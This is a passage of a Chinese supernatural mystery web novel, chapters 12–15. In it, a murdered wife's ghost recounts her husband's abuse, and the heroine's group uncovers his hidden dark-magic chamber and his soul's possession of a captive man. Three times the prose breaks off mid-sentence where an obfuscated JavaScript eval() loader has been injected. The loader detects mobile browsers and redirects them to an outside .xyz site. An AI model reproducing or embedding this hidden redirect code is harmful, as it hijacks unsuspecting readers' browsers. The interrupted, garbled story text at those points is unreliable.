沈夫人听了,微微一愣,显得有些茫然:“我……我不知道,我从来没有想过。我当时只想着和他过好自己的日子,其他的事情不那么重要。直到后来……或许是上天眷顾,我在成婚的第十年,终于怀上了阿映。可也正是从那时起,他整个人就变了。” 众人听到此处,其实除了沈夫人自己,其他人其实心里都有了一些答案,不过这沈夫人好像自己都不知道事情的关键点在哪里。 依照他们先前的推理,沈言峰必定在生理上有所不济,而这一点显然未曾告知妻子与家人,致使众人未曾觉察,是这位丈夫造 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二十年前,沈夫人定是风华绝代的佳人,想必那些曾拜访的学生见到过这位师母,肯定也被她的美丽吸引。这些人当中,还真有可能出现人渣,趁机使用某种手段,或许是药物,施以不轨之事。 直至今日,这沈夫人还是一脸无辜的模样,就说明沈言峰也没用捅破这层窗户纸。 他果然怕外人知晓他的隐疾和家丑,他总不能和他们说:这个孩子不是我的,因为我不举…… 像是他这种自命清高的人,是根本说不出这些话的。所以,他选择默默接受了这个女儿的存在,然而内心对妻子的不洁却始终无法释怀,这便导致了他性格的巨大转变。 沈夫人道:“后来,他不再让我接待任何来客,也不许我出门,甚至连回娘家都被禁止。他的控制欲愈发强烈,这些原本我都忍下来了,直到有一天,我亲眼见他朝着阿映的脸扔了砚台。那时阿映才两岁,满脸是血。我实在忍无可忍,随手拿起那砚台就砸向了他。他当时气得目眦欲裂,猛地掐住我的脖子,怒声威胁我‘你找死!’那是我们成婚十年来,第一次动手。当时我真以为自己会死在那里。” 檀玲愤怒道:“只有那些无能的男人,才会拿小孩和女人发泄怒火!实在可恶!” 沈夫人苦笑一声:“幸好是沈老夫人及时出现,把他拉开,才让我逃过一劫。可从那时起,一切都变了,那也是我噩梦的开始。” 她低头看向了自己的躯体和那松掉的鞭子,道:“他找专人打造了一根鞭子,鞭身暗藏细铁丝,鞭打之时,细丝会深入皮肤,若手法巧妙,伤痕虽细,却能痛入骨髓。他竟然逼我用它打阿映,若我不从,他便以此鞭子惩罚我。原本不让我接待任何客人,却在我遍体鳞伤之后,要求我去招待来客。客人见我状况不对,他便在夜里再打一顿。” 沈夫人说到此,身体不由自主地颤抖起来,仿佛那些痛苦的回忆又一次涌上心头。 因纾禾缓缓问道:“每位来客,都是您去接待吗?” 沈夫人稍作停顿,整理了一下情绪,摇头道:“并非每一位,通常是他那些学生,可能因为即便他们察觉了什么,也不会怀疑一位老师的为人吧。” 因纾禾的眼中闪过一丝光芒,似乎意识到了什么,急切地问道:“您可还记得,他当时经常让你接待的,是哪几个学生吗?” 12. 第 12 章 沈夫人这点倒是记得,印象颇深。于是,她提供了几个名字,因纾禾唯一熟悉的便是金义镇的钱坤。其余的人对她来说都很陌生——毕竟她已死了千年,刚刚重生。 檀玲道:“除了钱老爷,这些人都是大世家子弟啊。林仁泽是仙门最大宗门的嫡子,苏家宗主更是夫妻一同到场,这些人不太可能吧?” 沈夫人疑惑道:“可能什么?这些人怎么了吗?” 檀玲意识知道自己说错了话,赶紧岔开话题道:“沈夫人,既然他如此暴戾,您为何不直接离开他?” 沈夫人道:“离开他?我也想,可是离开他我能去哪?哪里又有我的容身之处?更何况还有阿映,我若走了,谁来护着她?我如果带着她走……又能带着她去哪里?他在世人眼中是受人尊敬的恩师,学识渊博,风度翩翩,有谁会相信他私底下的阴暗与暴戾?所有人只会认为是我的错,是我不知足。谁会要一个带着孩子的弃妇?我怎忍心让阿映跟着我受苦,步入绝路……” 檀玲嘴比脑子快,不假思索道:“那你觉得现在她的下场如何?” 沈夫人一愣,望向沈映,她竟无言反驳。半晌,摇头道:“我也不知道……我从不愿如此……为何结局会是这般……” 贺云修道:“阿玲……” 檀玲这才意识到自己话又说多了,连忙闭了嘴。 因纾禾见状,将话题调回正轨道:“沈夫人,那后来呢?” 沈夫人道:“后来,这日子就这样浑浑噩噩地过了十年。沈言峰说给阿映寻了门亲事,是镇守万普山的苏家……” 檀玲又忍不住插话道:“万普山的苏家?那不是仙门世家吗!看来这沈言峰倒是有点良心,至少给沈映找了个不错的归宿!” 这万普山因纾禾听着也甚感熟悉,也是姓苏的,这莫不是和甄青瑶倾诉的家族是一家吧! 沈夫人道:“我当初也是这么想,他虽然不喜欢女儿,可是心里多少还是对阿映有些感情的,他当初还是亲自去和杜夫人提出的联婚一事。” 因纾禾道:“杜夫人有是谁?” 贺云修道:“苏家家主的原配夫人姓杜,五年前去世了,后来苏家家主又娶了一个夫人姓胡,外人为了区分,就叫她们杜夫人和胡夫人。” 果然,家族人物信息全对应上了,就是悬赏通缉甄青瑶的那个苏家! 因纾禾道:“为什么是和杜夫人提,而不是和苏家家主提呢?” 贺云修道:“最初,仙门杜家在镇守邪祟的任务上极为严谨,杜老宗主警觉心极高,责任感深重,日复一日,捍卫着一方平安。家族成员亦都恪守家规,行事井然有序,丝毫不敢懈怠。” 他顿了顿,继续道:“然而,杜家只有一女。当年,或许是杜老宗主觉得苏启老实忠厚,性格沉稳,女儿嫁他定不受委屈,于是便成全了他们的婚事。杜爹去世后,杜夫人接管了家族的重任,虽名义上家主是苏启,但实质上,杜夫人拥有绝对的掌控权。许多事,和杜夫人谈,比和苏家主商议更为有效。 沈夫人道:“正是如此。当初,这杜夫人和苏家主都是沈言峰的学生,他们成了同窗之后,才成的亲,而杜夫人也一直非常尊敬沈言峰,因此当沈言峰提出来时,她便答应了。原本我以为我的女儿终于能够脱离沈家,不再受苦,然而,杜夫人病故了,而病故之后,苏家就派人来退了婚,说是苏卓苏公子已经有了心上人,不能再娶阿映。” 因纾禾心道:这个心上人,应该指的就是甄青瑶吧。 她陡然发觉身后怨气重了几分,回头一看,果真是沈映在直勾勾盯着自己。 因纾禾琢磨着,这沈映不会知道甄青瑶就是和苏卓暗生情愫的女子吧! 回想之前沈映第一次看清自己的脸的时候,竟毫不畏惧烛火,也是这般直勾勾地盯着自己,随后才被自己引到后堂大厅。 当时她还不太明白自己到底哪里惹着她了。 如今,她是明白过来了,这是见情敌了! 于是,她试探着问沈映:“你是不是之前就见过我?” 沈映面无表情,眼神依旧冷冽,仿佛想要将因纾禾吞噬一般。 直到沈夫人轻声唤道:“阿映……” 她才忽然回神,想起因纾禾曾为自己母亲解开了魂魄,顿时收回了目光,缓缓点了点头。 因纾禾见状,继续问道:“你去过苏家?” 沈映再次点了点头。 沈夫人接着补充道:“在被退婚之后,沈言峰带着我和阿映一起去了苏府讨要说法,然而苏家却称家主苏启上万普山净化煞气去了,接待我们的是胡夫人。” 檀玲道:“这杜夫人刚病逝,这胡夫人就上了厅堂?这也太快了吧?!那宅府原来不就是杜家的吗?那些个那些个门生亲人不闹起来?” 沈夫人道:“别人家的事情,我也不是很清楚,不过那个胡夫人她见过一面,她总是笑盈盈的,处事圆滑。当时,大人在正厅谈话,她觉得有些事情让小孩听着不太好,就让人领着阿映去苏府转悠。而她一直和我们说这是苏家那些个男人做的决定,她一个妇人也不好干涉,但她定然会在帮我们和苏家主说说话,说她刚才看到阿映也很是喜欢的。” “可是后来,就有人来禀报,说有人落了水,还是被我家阿映推下去的。胡夫人说这个落水之人正是苏家大公子的心上人,说如果让外人知道阿映做过这种想要谋害人性命之事,那就是一个悍妇,肯定对她的名声有影响。这件事她会担下来,然后就把我们打发了,回来之后,沈言峰大发雷霆。原本自从与苏家定亲之后,沈言峰虽然对我们母女还是冷言冷语,但是基本不打了,可是从苏家回来的当天晚上,沈言峰就大骂阿映,说她是……” 沈夫人顿住了,泪水在眼眶中打转,她看了沈映一眼,神色复杂。 因纾禾不言,但心中已明,定然是那些不堪入耳的词语。 沈夫人缓了缓,继续道:“我护着阿映,被打得血肉模糊,最后他打红了眼,拿着那根鞭子,从身后勒住了我的脖子,而阿映当时就咬着他的手,想要让他放开我,疼得他一跤踹开了她。后来,我被他勒死了……而阿映……” 沈映自然也是惨遭毒手,所以他们才会都那么惧怕那根鞭子。 檀玲道:“所以,沈言峰为了掩盖你们的死因,把你埋在了这院子里。然后对外界说是沈映生病了,即便有所怀疑,也让大家认认为她因退婚受打击,不愿意出门。……可是你也不出现了呀,难道你娘家亲人就不曾过问?” 沈夫人道:“在过去十年间,沈言峰几乎不让我回娘家,我偶尔才给母亲写些家书。但母亲年事已高,我不愿让这些纷扰之事影响她的安宁。后来母亲去世,我与娘家的联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858786|159413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系也渐渐断了。所以我失踪与否,他们自然无法得知。” 檀玲道:“那沈府呢?来拜访的客人呢?都没发现不对劲吗?” 沈夫人摇了摇头,表示那都是自己死后之事,她也不是很清楚。 因纾禾沉吟片刻,道:“过去十年这夫人和女儿都不怎么出面,后面他们见不到也自然没觉得什么,而且这些都是别人的家事,旁人那会管那么多。加上这沈言峰都表面上他就是一个温文尔雅、为人正直的老师,获得弟子的信任和依赖,自然不会怀疑有什么异样。” 叶澜不解道:“我还是有些不明白,为什么沈言峰杀了人,不直接毁尸灭迹呢?而是把沈夫人埋在院子里,沈映还被他用来配冥婚。” 突然,他又想到了一个问题:“沈言峰在哪?” 随后,她转头看向沈映道,“你把他……撕了?” 沈映茫然地望着他们,摇了摇头。 因纾禾也奇怪了:“你没见过他?” 沈映依旧摇头,表示没有。 原本按照他们推测,沈映怨气那么大,醒来的第一件事肯定是寻仇,而沈言峰无疑会是她的首要目标。 大家本以为,沈言峰早已在那堆残肢碎尸中,然而,沈映竟然说自己从未见过他,那沈言峰究竟在何处? 如果沈映都没有找到过他,必定是藏起来了。 但是,能藏在哪里了呢? 忽然,因纾禾想到了一个地方,心中一动,立刻起身。 走了几步,又回头把那根鞭子捡起,装入百宝袋中,对沈夫人道:“这东西我就先收起来了,它暂时控制不了你了。” 然后,她便朝着之前走过的路径去寻找账房。叶澜等人紧随其后。 因纾禾点燃了蜡烛,走到账房的第三间房,低声道:“大家找一找,这里一定有什么暗格!” 叶澜疑惑道:“你怎么知道?” 因纾禾道:“这内外墙的厚度不一致,差了有一臂的长度。我怀疑沈言峰就藏在里面。” 众人闻言,纷纷帮忙寻找起来,可半晌也没找到什么开关。 檀玲抱怨道:“就算有暗格,它那么小,他躲在里面不就跟被憋死一样?这跟棺椁也没什么区别。沈言峰会那么傻藏进去吗?” 说罢,因纾禾好像踩到了什么,低头一看,发现是一幅掉落的挂画。她捡起挂画,转身顺手将它挂回到身后正好有一枚钉子的地方。 忽然,那钉子承受了重量,往下一倾斜,伴随着一阵轻微的咔嚓声,一道暗门悄然打开了!果然是有暗格! 那道暗门后是一片漆黑,伸手不见五指。因纾禾举起蜡烛,照向暗格内部,发现里面的空间十分狭窄,空空如也。 檀玲道:“我就说了,没人那么傻把自己藏在那种狭小的地方,简直是自寻死路。” 因纾禾罔若未闻,举起蜡烛朝着暗格底部挪了挪。她仔细观察,只见底部依旧是木质板面,她敲了两下,木板发出低沉的“咚咚”声——暗格底下有通道! 因纾禾眼中闪过一丝果断,立刻转头对叶澜道:“可否借你的佩剑一用!” “当然!”叶澜毫不犹豫拔出了自己的佩剑递给了她。 因纾禾接过剑,迅速摸索了一阵,将剑身插入一处木板缝隙,轻轻一撬,随着“咔嚓”一声,果然撬开了一个口子。 13. 第 13 章 因纾禾撬开两块木板,直接钻了进去,顺着石梯往下走。她发现这是一个狭窄的通道,四周阴冷潮湿。 叶澜的声音从上方传来:“甄姑娘,等等我。”他身形比较高大,又撬开了一块木板才迈腿想要跟下来。 因纾禾拿着蜡烛朝前面照了照,前面就像是黑洞,阴气森森。她提醒道:“里面通道狭窄,也别一起下来了,万一有个什么,人一多,还真不好办,全堵住了。” 叶澜这时候正好上半身还在暗格之中,他拿着一只蜡烛往下照了照,随即回头对着檀玲、贺云修二人道:“确实很窄,云修兄身上还有伤,你们俩就别下去了,有人守着这个口,也安全一些。不然我们都下去,这里被封住,那就惨了。” 说罢,他赶紧跟上了因纾禾的步伐。 “等等、等等我啊……” 因纾禾拐过一个弯道,空间瞬间开阔了不少,她贴着墙前行,发现墙沿上有油灯挂着,便顺手点燃了左右两边的油灯,前方的暗室一亮,显现出一个正方形的房间。 房间两侧有格子,格子里放着许多坛子,房间中横七竖八的拉着黑色的线,而四面墙壁上也贴满了符箓,令人不寒而栗。最引人注意的是房间中央,一个长方形的石棺,周围同样贴满了符箓。 叶澜低声道:“这里这么多镇邪符箓,难道中间那个是石棺?还有更厉害的大祟?” 因纾禾仔细查看这些符箓,突然意识到这并不是驱邪符箓。符文上除了常见的符号外,还有一串人的生成八字。奇怪的是,黑线的两端,一端连接着石棺,另一端连接着那些坛子。 因纾禾靠近其中一个坛子,发现黑线端口直接延伸到坛子内部,用坛盖子压住。 她心生好奇,打算打开坛子一探究竟,突然,一声低沉的男子声音响起:“别看。” 因纾禾顿时一怔,回头张望。只见叶澜站在一旁,两眼无辜地望着她:“怎么了?” 因纾禾眉头微蹙,道:“你刚刚有没有听到什么声音?” 叶澜茫然道:“什么声音?” 因纾禾暗道:难不成自己幻听了? 她很快回过神来,却也不想再去碰那些坛子,对着叶澜道:“你去打开那些坛子看看,里面是什么?” 叶澜“哦”了一声,立刻走过去,随手打开一个坛子的盖子。瞬间,一阵浓重的腐烂腥臭味扑面而来,他不禁捂住了鼻子。 尽管他已经经历过许多恐怖的场面,对恶臭的抵抗能力比起之前强了许多,但这股气味还是让他忍不住皱起眉头。他硬着头皮拉出了黑线,慢慢抽出了坛内的某个东西。 当他看清楚那东西时,叶澜再也忍不住,猛地甩开了红绳,瞬间蹲在旁边框吐了起来。 因纾禾道:“到底什么东西那么恶心。” 因纾禾心里猜测,里面定然是什么人体组织。但叶澜都见了那么多尸体碎片,依旧能吐成这样,说明里面的东西不一般。于是她也想上前查看,然而,叶澜吓得连吐都顾不上,直接把她推开。 他抖着嗓子,态度坚决道:“你、你不能看!你、你去看中间那个。”他指着中间的石棺道,“如果有大祟肯定就在这里面。这些个坛子里面装的都是一些不三不四的东西,没什么好看的!” 因纾禾道:“不三不四的东西?” 叶澜点头如捣蒜,张开双手挡住她,一步也不肯挪。 因纾禾道:“人体组织?” 叶澜道:“嗯。” 因纾禾道:“有那么可怕?” 叶澜道:“反正、反正你别看!” 虽然她有点疑惑,不过既然确认了里面的东西应该就是一些人体组织,可能就是惊悚一些,如一些带血的眼珠子或者成型的脑花,毕竟上面叶澜看到的基本是不成型的,如今看到成形的,害怕呕吐属正常。其实,她也不是那么想要看。 因纾禾拨开了黑线,朝着石棺走去。回头一看,发现叶澜依然保持着双腿夹紧的姿势,看起来十分怪异。她忍不住开口道:“你……是不是内急?可以先上去。” 叶澜闻言,突然站得笔直,尴尬地说道:“没、没有,就是感觉有点冷。” 因纾禾道:“你这冷的姿势还挺独特。” 随后,她也不再管他,而是转身低头查看石棺。她注意到,黑线的这一端也被压在石棺之下,要想看到里面的东西,必须先将石棺打开。 因纾禾刚想着如何打开的时候,忽然,石棺诡异地抖动了一下,紧接着,两边的油灯也随之剧烈晃动。 因纾禾下意识的后退,叶澜也立刻反应过来,以为大祟要现身了,暗室可能会塌陷,他立刻上前拉住因纾禾,急切地想把她带回上面去。 就在这时,因纾禾回头的一瞬间,眼角余光中恍惚看见了一个身影,站在石棺旁。她微微一愣,仔细一看,那人影虽模糊,但身形高大,气度非凡。虽然五官和神情都看不清楚,但她能感觉到,那人正注视着她。 因纾禾心中一紧,道:“等等。” 叶澜焦急道:“不能等了!这地方要是塌了,我俩就死定了!” 然而,因纾禾却没有理会他,而是猛地一用力,把叶澜拽了回来,直接让他正面朝向石棺的方向。她语气坚定道:“你好好看看……有没有看到什么?” 叶澜这才发现,石棺的棺盖居然自己打开了,还竖立在一旁,而暗室也逐渐恢复平静,惊讶道:“这石棺居然自己打开了?” 因纾禾指着那抹身影,语气急切地对叶澜确认道:“你告诉我,你除了那竖着的棺盖,有没有看到其他的什么?” 叶澜一脸困惑地看着她,摇头道:“看到什么?” 因纾禾道:“就是……” 可她再转头,却发现那道身影已经消失不见了。 叶澜道:“就是什么?” 这时从上方传来檀玲的声音:“你们没事吧?” 叶澜道:“没事了!” 檀玲道:“那你刚才大呼小叫做什么?” 她和贺云修也走了下来,看到暗室诡异的场景,道:“这里面竟然还有一副石棺?” 因纾禾缓步走到石棺前,低头一看,棺中躺着一具肉身,只露出一个头,是个年逾半百的男子,全身被那黑线一圈圈围绕着,身上也贴满了符箓,不过他身上的符箓,上面都是写着一个人的生成八字,应该就是这具肉身的生成八字。——这人应该就是沈言峰了。 突然,她绕到石棺的后方,怀疑是否还隐藏着什么机关。她轻轻摸着石壁,沿着石棺转了一圈,心道:这里难道还有什么机关? 然而,她敲敲打打了半天,发觉墙面坚硬无比,没有任何缝隙或暗道的痕迹。墙体看起来完全是实心的,没有丝毫异常。 原本她以为刚才见到的那抹身影,是个魂魄,而他的肉身可能就是在这具石棺里。可是,现在看到石棺中的肉身后,她意识到情况并非如此。更奇怪的是,她也半点儿没有感觉出有任何其他鬼魂的能量,那她看到的到底是什么东西?! 叶澜好像还得第一次瞧见因纾禾这般有点不知所措的神情,道:“你这是……怎么了?” 因纾禾这才回过神来,道:“没事……” 虽然因纾禾虽然她不还没搞清楚刚才的那人影是谁,但从目前的情况来看,似乎对方并没有恶意,毕竟刚才还帮忙把石棺掀开了。 她暂时决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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檀玲见状,赶忙问道:“怎么了?怎么又要出去了?这沈言峰不管了吗?” 因纾禾来不及解释,刚上阶梯,就听见“砰”的一下,抬头一看,上面的口子被什么东西堵住了,因纾禾尝试往上推,发现纹丝不动! 叶澜道:“怎么了?” 因纾禾道:“有人在上面堵住了出口。” 叶澜一愣,随即道:“……啊?要不你下来,我上去试试。” 果然,叶澜上去尝试一番之后,也是纹丝未动。 檀玲道:“不会吧,我们这下也都要死在这里了么?” 叶澜垂头丧气道:“你们两个就不应该下来的……” 贺云修道:“是我疏忽了,我来试试。” 结果还是一样,纹丝未动。 檀玲嗔道:“还怪我们,都是你刚才大惊小怪的,我们以为你们发生什么事情才下来看看的。” 叶澜道:“是是是,都是我的错。不过,谁会把这堵上呢?” 檀玲道:“外面人都死绝了,还能有谁,肯定是那个沈映!” 叶澜道:“可是我们才帮助她救出母亲,应该……不至于吧。” 檀玲道:“你别忘了,她已经不是人了,不能用人性的思维去推测她的行为。刚才也许都是伪装,因为她无法做到,就想利用我们帮她救出母亲。哼!利用完了,就想把我们弄死在这里。我们进来的目的就是要驱邪,她很清楚这一点——她不就是那个邪吗?只要我们死了,她就可以继续为非作歹。别再怀疑了,我看一定是她!” 因纾禾悠悠道:“谁说外面都死绝了?”顿了顿,继续道,“你们都还忘了一个人。” 檀玲道:“谁啊?” 叶澜微微一怔,然后拍大腿道:“哎呀!我怎么忘了!还有一个活人躺在棺材里!” 14. 第 14 章 檀玲道:“那个人不是被害者吗?这里面的事情与他何干?” 叶澜道:“对,之前我们都确认过,他确实是人,不是祟。更何况,他堵住我们做什么?” 因纾禾道:“若他并非他,反被其他魂魄附体呢?”她向前走了几步,转身道,“你们看这儿,显然是沈言峰修炼邪术的地方。此地有四十九个坛子,恰与四十九次冥婚一一对应。可见每当男子配阴婚时,总有一样物品被放入这些坛子中。至于坛子里究竟是什么,暂且不提。但我发现其中有一个空坛,所贴生辰八字与他人不同,且写法反向。” 她将手中符箓展示给大家,又从那些黑线上挂着的符箓中取下一张,与之对比展示。 檀玲看了看,道:“还真是。……那又说明什么呢?” 因纾禾道:“不难看出,原先那四十八个人的能力是灌输到沈言峰的肉身上的。而这个第四十九个,是反着来的,很明显,是沈言峰想要夺他的身体,他的神魂要进入第四十九个人的身体之中。” 叶澜一惊,道:“你是说,这沈言峰其实的魂魄已经附在了那个活着的男子身上?!” 因纾禾道:“他这具身体残躯,估计早就想换了,所以才搞那么一出。” 叶澜道:“可是你当时不是在那棺椁上贴了五行符箓么?那他应该还被封在棺椁里吧?” 因纾禾摇头道:“沈言峰的肉身和魂魄其实一直都躲藏在这里,不然沈映早就找到他报仇了。他是一直在等一个合适的时机。刚才我们进来的时候,我探过那个男人的神识,是正常的……是刚才,趁着我们在后院处理沈映的事情,沈言峰的神魂才悄然脱离,趁机逃了出去。” 叶澜道:“即便是刚才,那棺椁不是也贴着你的符箓嘛?” 因纾禾忽然想到了什么,问道:“就在刚才和纸扎人对质的时候,你是不是打开过那具棺椁?” 叶澜一愣,神情骤然变得紧张,结巴道:“好像是的……我……我忘记给它重新合上了……” 话音刚落,暗示再度剧烈震动,出口处顿时涌入一团黑雾,因纾禾心中猛然一紧,立刻感到大事不妙。邪祟之气骤起,源源不断的涌了进来! 檀玲道:“怎么回事!” 因纾禾道:“有人在破坏五行阵法。” 叶澜道:“一定是沈言峰,先是把我们封死在这里,然后又去破坏阵法,使得邪气大甚!” 就在此时,身后传来了异响,然后又是诡异的低吼声,众人回头,发现原本石棺里躺着的肉身已经立起来了!而那些黑祟邪气正源源不断进入它的体内。 突然,那些原本横七竖八的黑线从坛子口的一端猛地断开,一端仍然系在沈言峰的肉身上,黑线如同铁丝一般锐利,悬浮在空中形成万箭齐发的之势对准他们。 檀玲下意识躲在了贺云修的身后,嘀咕道:“完了,这个鬼地方躲都没地方躲,我们一会不会被万箭穿心了吧……” 因纾禾突然道:“沈家主。” 被她这么一叫,对方果然顿住了。 因纾禾悄悄将手探入自己的百宝袋中,继续道:“我知道你能听到我们说话。既然我们都要死在这里了,你何不出来帮我们解解惑,好让我们死也死的明白一些。” 然而,就在她话音落下地一瞬,那几十根锐如铁丝的黑线依然直射向他们。因纾禾身形一转,手中鞭子一甩,巧劲一发,瞬间将那些黑线缠住,然后用力一扯,顿时形成了两方拔河的架势。 因纾禾还不忘调侃道:“沈家主,有话好好说,你真是太不讲武德了,怎么一声不吭就出手了?你看我手上的武器熟不熟悉?第一次用,手感确实还不错!” 说罢,因纾禾用力一拽,沈言峰的肉身顿时高速旋转,随着那些黑线一圈圈松开,肉身表面的一层蜡黄皮肤逐渐暴露出来,场面愈发辣眼。 突然,原本点燃的油灯一阵摇晃,随即熄灭,四周瞬间陷入一片漆黑。 因纾禾心中警觉,以为又是沈言峰的阴谋,不禁全神戒备。就在此时,耳边再次传来那个男子的声音,低沉而冷冽:“不许看。” 随即她手中的鞭子被一股强大的力量拽脱,然后就听到重重的“砰”一声。 半晌,因纾禾从新吹燃火折子,朝前走几步查看情况之时,那肉身居然不见了,而且尸棺也重新盖住了,这是什么情况? 然后出口的地方也传出了异响,叶澜小心翼翼的回去查看,兴奋道:“可以出去了!出口的东西被人搬开了!” 因纾禾又疑狐的拿着火折子朝着暗室的四个角落照了一遍,确认没人之后,她才转身朝着出口的方向走去,但还是一步一回头,最后才跟着叶澜他们走出了暗室。 看着地上两块大石板,因纾禾眉头微皱。这两块石板,显然是被人故意横着放置一块,然后又用另一块竖立起来顶住上方,才导致他们怎么推也推不开。 檀玲有一种劫后重生的快感,兴奋地道:“终于出来了!我还以为我们真要死在里面了呢!”她顿了顿,又疑惑地问,“你们说这又是谁帮我们打开的?” 因纾禾也顾不得多想,直接走到后堂去查看情况。果然,五行阵法中的灵石被人弄乱了。她急忙掀开左边的棺椁一看,里面的男子已经不见了! 不过,阵眼处放置的宝葫芦依然安静地在那里,显然没有被触动。因为没有得到因纾禾的允许,其他人根本不能靠近宝葫芦,所以虽然邪祟之气有所升腾,但并没有对阵法产生致命影响。 比如沈映,因为宝葫芦的作用,就没有再次被祟气控制。 因纾禾迅速修正了阵法的缺口,确保阵法重新稳定。沈映与沈夫人一直就站在宝葫芦的旁边。 当因纾禾看向她们之时,沈夫人朝着左边的耳房指了指。她顿时明白过来,随即拿起一盏烛灯,走到门前,猛地一脚踹开房门,缓步走了进去。 房间并不大,里面也没有什么家具,唯一能做遮挡的物件,就是床前那一扇屏风。因纾禾刚靠近几步,就已经听到一个男人急促的呼吸声。她眼神一凛,抬手一把推开了屏风。 男子见状,突然一股脑地冲了出去,一边跑一边慌乱地喊道:“不要杀我!不要杀我!” 叶澜早就蹲守在门口,在男子跑出的一瞬间,迅速一把拽住了他的领口,将他死死锁住,道:“要往哪里跑?!” 男子连连颤抖,声音颤栗道:“我……我不跑,不要杀我、不要杀我…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858788|159413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 此时,因纾禾从房间走了出来,冷静地问道:“不杀你,可以。你告诉我们你是谁?” 男子这才抬头,看了一眼因纾禾,又看了一眼叶澜,似在思考。半响,才道:“我不是金义镇的人,我是路过此地,不知怎么的被抓进来的。” 因纾禾道:“你叫什么?哪里人?” 男子眼珠子转了转,道:“我叫莫楚,是……是普元镇人。” 因纾禾笑道:“哦,好巧,我也是普元镇人,我们居然还是同乡。你是哪个街道的?还是哪个村的?” 甄青瑶确实是普元镇人。而这个人,她要看看可以装到什么时候。 “莫楚”道:“我虽是普元镇人,但是其实一直走南闯北,这不就走到这里被抓住了嘛……呵呵……” 因纾禾没有再深究他的说辞,只是转身朝着正厅走去,叶澜也是十分配合地把“莫楚”拽了过去。 因她走到左边棺椁旁,将之前贴在上面的六道符箓取了下来。 “莫楚”看到这一幕,神色瞬间紧张了起来,急促地道:“你要做什么?!” 因纾禾右手拿着符箓有节奏地在左手手心上下甩动,一边向他靠近,道:“你不要怕,只是这地方邪气太重,你又在这里呆那么久了,身上恐怕沾染了一些不干净的东西,我只是帮你去去祟气而已。” “莫楚”开始挣扎起来:“不用,我身上没有祟气,我不需要贴这个!你们这些人才是歪魔邪道吧!要对我做什么?放开我!” 因纾禾笑道:“可能就有那么一点点疼,疼过了就好了。” 她的语气带着一种不容置疑的从容。 接着,她目光越过“莫楚”看向叶澜道:“辛苦,烦请抓牢。” 叶澜更用劲了,咬牙道:“嗯!” 因纾禾立即下手,将五行土符贴在“莫楚”的前胸,顿时冒出白烟。“莫楚”面目狰狞,眼中血丝涌现,他疯狂的挣扎,瞬间一个抬腿想要把因纾禾踢开,因纾禾像是早有预料,直接闪身躲了过去。 然而,叶澜瞬间失去平衡,手下意识松开,“莫楚”抓住机会,一口咬住了叶澜的手臂,叶澜痛得嗷嗷大叫。 “莫楚”趁机一把推开叶澜,朝着前方跑去。贺云修想上前帮忙,奈何身上有伤,也是扑了个空。 因纾禾则一直站在原地,对着沈映道:“既然他那么不知好歹,还是你来吧。不过不要伤及无辜。” 她不担心,是因为刚才“莫楚”一直躲在耳房没有出去,多半是因为沈映拦着他。而说的无辜之人,就是莫楚这具身体的原本人。因纾禾刚才触碰的一瞬间,就感应到他的魂魄依旧还在体内,还没有被沈言峰的魂魄完全吸食融合,因此沈言峰才没有读取到莫楚本身的记忆。 果然,话音刚落,沈映猛地一飞扑,直接把“莫楚”扑倒在地。地上的“莫楚”愤怒地大骂:“大逆不道的贱骨头!” 听到这几个字,沈映的五官瞬间变得狰狞,脸色剧变。因纾禾顿时感觉不妙,这几个字显然是沈言峰在之前虐待这对母女时常用的污言秽语,也正是激起了沈映内心深处的杀念。 沈映突然露出尖锐的獠牙,朝着“莫楚”颈部欲要狠狠咬下去! 15. 第 15 章 突然一个白影闪冲了出来,直接把沈映重重撞入墙上,定眼一看,正是原先在后院和沈映打得不可开交的白衣女鬼! “莫楚”立即爬起来又想跑,叶澜见状直接就要上前摁住他,白衣女鬼突然放开了沈映飞了回来,血红的指甲对着叶澜想要插入他的脖子,因纾禾眼疾手快,一个飞扑把叶澜往旁边一撞,躲过了这致命一击! 白衣女鬼随即守在“莫楚”身边,不敢离开半分,她面目狰狞地盯着周围所有人,威胁道:“你们谁敢动他!别怪我不客气!” 大家都很有默契的看了因纾禾一眼,因纾禾微不可察的摇了摇头,所有人都没有轻举妄动。女鬼这才转身对着“莫楚”柔声道:“莫楚哥哥,你没事吧?” 因纾禾道:“这位姑娘,你是谁?你认识这个人?” 女鬼提防地看着她,道:“我凭什么告诉你?你们这些邪魔歪道,和沈家人都是一伙的,把莫楚哥哥骗到了这里,究竟要对他做什么?!” 因纾禾突然明白过来,这个女鬼护着的不是沈言峰,而是真正的莫楚,只不过她并不知道,现在的莫楚已被沈言峰的魂魄控制。 因纾禾道:“姑娘,你是要救莫楚公子,对吧?” 女鬼沉默不语,依旧警惕地看着他们。 因纾禾继续道:“你确定你身后之后真的是莫楚公子吗?” 听到这句话,她神色才有些许动容,道:“你什么意思?” 女鬼身后的“莫楚”道:“别听他们的,你赶快把我带出去!” 此话一出,女鬼愣了一下,脸上神色一变,回头望向“莫楚”,试探问道:“莫楚哥哥,你还记得我是谁吗?” 